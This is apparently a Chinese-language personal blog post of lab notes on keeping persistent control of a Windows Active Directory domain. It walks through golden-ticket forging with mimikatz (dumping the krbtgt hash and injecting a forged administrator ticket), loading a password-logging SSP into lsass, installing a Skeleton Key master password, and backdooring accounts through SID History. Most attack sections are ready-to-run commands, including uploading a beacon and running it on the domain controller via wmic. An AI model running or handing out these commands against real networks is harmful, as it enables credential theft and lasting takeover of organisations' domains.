域环境权限维持

PTT

PASS The Ticket

黄金票据伪造

原理

这个过程发生在 AS确认Client端登录者用户身份 中

当KDC 返回Meg B 其中包含了使用KRBTGT NTLM HASH (TGS) 加密的TGT, 如果此时我们获取了KGBTGT 的NTML HASH的话我们就可以解密这个TGT 从而伪造伪造一个新的 TGT 然后发给KGBTGT,此时KGBTGT 同样的使用自己的HASH 进行解密,就可以获取到我们伪造的[CLIENT/TGS SESSIONKEY] 成功解密并完成 TGT 的数据进行对比。这就已经骗过了KDC 获取服务权限

条件

  1. 域名称

  2. 域用户的SID值

    image-20240217102719998

    前面部分为sid 后面为rid 可以使用rid 劫取

  3. 域的 KRBTGT 账户密码 HASH

  4. 伪造用户名,可以是任意的

利用步骤

  1. 域名称

    image-20240217103016801

    也可以通过whoami 获取当前的域名称

  2. 获取sid

    1
    2
    whoami /user
    wmic useraccount list brief

    image-20240217103228371

    同时可以发现这个域名

    注意,我们只需要前面的部分、

    如果没有发现这个hash值的话,可以尝试使用进程注入的方式进行提权,从而获取hash

    image-20240217111534452

    可以选择system 权限的进程进行迁移

    image-20240217111643452

    image-20240217111726746

    image-20240217111912814

  3. 域 krbtgt 账户 ntlm hash 或aes-256值

    mimikatz lsadump::dcsync /user:krbtgt(username)@august.local

    mimikatz lsadump::dcsync /domain:august.local /all /csv

    image-20240217103924909

    image-20240217112455764

    这个会自带注入

  4. 清理所有的票据

    1
    2
    klist purge
    mimikatz kerberos::purge

    我们也可以查看所有缓存的票据

    1
    2
    klist
    mimikatz kerberos::list

    image-20240217104140723

    没有票据

  5. mimikatz伪造指定用户的票据并注入内存

    1
    mimikatz kerberos::golden /user:administrator /domain:august.local /sid:S-1-5-21-1007551803-2786613087-1256062893 /krbtgt:a5025dd54ecce3ce2b31e1a07098c093 /endin:480 /renewmax:10080 /ptt
    1
    2
    3
    4
    5
    /admin:伪造的用户名
    /domain:域名称
    /sid:SID值,注意是去掉最后一个-后面的值
    /krbtgt:krbtgt的HASH值
    /ticket:生成的票据名称

    image-20240217104916144

    发现注入成功

    image-20240217104955464

    image-20240217112613161

    如果这个显示的是 拒绝访问

    可以尝试使用

    1
    shell dir \\DC\c$

    image-20240217112747334

  6. 得到域控主机的权限

    1
    2
    3
    4
    upload /root/beacon.exe (C:\Users\de1ay.DE1AY\Desktop\beacon.exe)
    shell copy C:\artifact_x64.exe \\10.10.10.128\c$
    shell wmic /authority:"kerberos:august.com\DC" /node:"DC" process call create "cmd /c c:\artifact_x64.exe"
    connect 10.10.10.10

    现在模拟再做一遍横向移动

    image-20240217113439520

    image-20240217113542049

    image-20240217113654586

    1
    shell wmic /node:10.10.10.128  process call create "c:\artifact_x64.exe"

    image-20240217134203046

  7. 保存票据为文件

    1
    mimikatz kerberos::golden /user:administrator /domain:august.com /sid:S-1-5-21-1007551803-2786613087-1256062893 /krbtgt:a5025dd54ecce3ce2b31e1a07098c093 /ticket:golden.kirbi

    通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中

SSP

简介

SSP:security Support Provider,一个用于身份验证的 dll

SSPI:Security Support Provider Interface,Windows 系统在执行认证操作所使用的API。 SSPI是SSP的API接口

LSA:Local Security Authority,用于身份认证,常见进程为 lsass.exe,特别的地方在于 LSA是可扩展的,在系统启动的时SSP会被加载到进程lsass.exe中.这相当于我们可以自定义一个

dll,在系统启动的时候被加载到进程 lsass.exe 。

但是高版本中这个进程里不会存在明文密码了,只有hash 值

可以通过修改注册表从而实现保存,所以我们就可以启用保存秘密的操作,然后就可以直接读取到明文密码了

浅谈无需修改注册表抓取明文密码-安全客 - 安全资讯平台 (anquanke.com)

原理

由于ssp 可以可扩展,我们就可以加载一个恶意的dll 文件。

作为攻击者可以直接使用一个可以抓取明文密码的dll 文件

就比如mimikatz 的mimilib.dll 文件

将 mimikatz 中的 mimilib.dll 放到系统的C:\Windows\system32目录下(DLL的位数需要与 windows位数相同),并将 mimilib.dll 添加到注册表中,使用此方法即使系统重启,也不会影响 到持久化的效果。

image-20240217141542379

利用

dll 注入

1
2
3
copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ

注意应该在powershell 中执行

在获取主机的情况之下

获取当前的路径

image-20240217142128502

image-20240217142328756

然后执行命令

然后只有等用户重启之后,如果有用户登录系统,才会有记载

会在 c:\windows\system32 目录下生成一个用于 记录登账账号密码的 kiwissp.log 文件

image-20240217144000593

但是域控不会轻易的重启

mimikatz 直接注入到内存

Memory Updating of SSPs

这个会更加实用一些

使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重 启,被注入内存的伪造的SS将会丢失。

但是域控不会轻易的重启

1
2
3
mimikatz privilege::debug
mimikatz misc::memssp
type C:\Windows\System32\mimilsa.log

image-20240217144645101

注入成功

尝试登录

image-20240217144753328

Skeleton Key

可以生成一个万能的密码用于登录

哪一个主机安装这个key 对哪一个主机是万能密码

1
2
Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。
Skeleton Key被安装在64位的域控服务器上,支持 Windows Server2003Windows Server2012R2 ,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,重启后失效。

尝试域控安装万能密码

1
2
privilege::debug
misc::skeleton

image-20240217145508683

mimikatz的默认Skeleton Key设置为mimikatz,Skeleton Key只是给所有账户添加了一个万能密 码,无法修改账户的权限

也就是说任何用户都可以使用万能密码登录

验证

1
net use \\DC.august.local mimikatz /user:administrator@august.local

image-20240217145716267

image-20240217145905530

注意应该是dc.august.local 其他的容易出错

而且不是所有的域控都是dc 只不过这这里我们将dc 主机的主机名设置成了dc

SID History

简介

每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。 SID History是在域迁移过程中需要使用的一个属性。

如果将A域中的域用户迁移到B域中,那么在B域中该用户的SID会随之改变,进而影响迁移后用户的权 限,导致迁移后的用户不能访问本来可以访问的资源。

SID History的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会 将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原 来可以访问的资源。

使用mimikatz,可以将SID History属性添加到域中任意用户的SID History属性中。在实战中,如果获 得了域管理员权限,则可以将SID History作为实现持久化的方法。

就是用于鉴定权限的东西,然后我们可以使用给sid 添加迁移之后继续保持该权限,而不是重新的新的权限的关键字。从而实现持久性获取,但是该方法需要管理员权限

利用

  1. 域控上添加并且启用账户

    1
    dsadd user cn=ttttest,dc=august,dc=com -disabled no -pwd 123qweASD@!#

    如果发现不行,也可以尝试直接使用域控上面现成的普通域用户

    image-20240217152358390

    image-20240217152450425

  2. Mimikatz添加后门

1
2
3
privilege::debug
sid::patch
sid::add /sam:jhon /new:administrator # 将administrator 的sid 给jhon

然后就有administrator 的sid 了

image-20240217153048960


域环境权限维持
https://tsy244.github.io/2024/02/17/渗透/域环境权限维持/
Author
August Rosenberg
Posted on
February 17, 2024
Licensed under